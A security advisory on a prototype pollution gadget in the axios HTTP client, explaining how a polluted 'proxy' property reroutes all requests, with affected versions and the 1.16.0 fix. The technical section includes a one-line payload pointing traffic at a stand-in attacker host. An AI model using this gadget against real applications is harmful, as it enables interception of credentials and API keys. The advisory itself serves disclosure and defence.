Executive brief
Axios is an HTTP client library used by millions of Node.js applications to make web requests. A security flaw allows an attacker who can pollute JavaScript prototype objects (through other vulnerable dependencies) to intercept, read, and modify all HTTP traffic sent by the application—including authentication credentials and API keys. This turns the application into a transparent proxy that leaks all sensitive data to the attacker.
Technical details
The vulnerability is a prototype pollution gadget attack (CWE-1321) that exploits how axios merges configuration objects. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy using standard property access, which traverses the JavaScript prototype chain. Because the proxy property is intentionally omitted from axios defaults (lib/defaults/index.js), the merged config object has no own proxy property. When an attacker pollutes Object.prototype.proxy (via any prototype pollution vulnerability in axios's dependency tree—such as qs, minimist, body-parser, or others), the next axios HTTP request will find the polluted proxy value during property lookup. The setProxy() function then routes all HTTP traffic through the attacker's proxy server without constraint, allowing full interception of credentials, cookies, and response modification. Unlike the transformResponse gadget (which is constrained by assertOptions), the proxy gadget has zero validation—a single property assignment Object.prototype.proxy = {host: 'attacker.com', port: 8080} is sufficient for exploitation. Affected versions: all versions from 0.x through 1.15.0. Fixed in 1.16.0.
Affected products
- axios axios 0.x through 1.15.0
Timeline
- 2026-05-29: disclosed: GHSA-35jp-ww65-95wh published
- 2026-05-29: patched: Fix available in axios 1.16.0 (patch date inferred from disclosure)